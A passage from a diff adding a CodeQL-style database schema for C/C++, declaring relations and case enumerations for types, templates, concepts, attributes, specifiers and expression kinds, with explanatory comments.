@scalable_vector_count // __SVCount_t +| 64 = @complex_fp16 // _Complex __fp16 +| 65 = @complex_std_bfloat16 // _Complex __bf16 +| 66 = @complex_std_float16 // _Complex std::float16_t +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +| 11 = @scalable_vector // Arm SVE +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +tupleelements( + unique int id: @derivedtype ref, + int num_elements: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +case @type_operator.kind of + 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +case @usertype.kind of + 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +class_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +) + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location_default ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); +function_template_generated_from( + unique int template: @function ref, + int from: @function ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); +variable_template_generated_from( + unique int template: @variable ref, + int from: @variable ref +); + +is_alias_template(unique int id: @usertype ref); +alias_instantiation( + unique int to: @usertype ref, + int from: @usertype ref +); +alias_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +alias_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +alias_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +namespaceattributes( + int namespace_id: @namespace ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype + | @decltype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_default ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_default ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +| 394 = @isinvocable +| 395 = @isnothrowinvocable +| 396 = @isbitwisecloneable +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + | @isinvocable + | @isnothrowinvocable + | @isbitwisecloneable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +param_ref_to_this( + int expr: @param_ref ref +) + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. 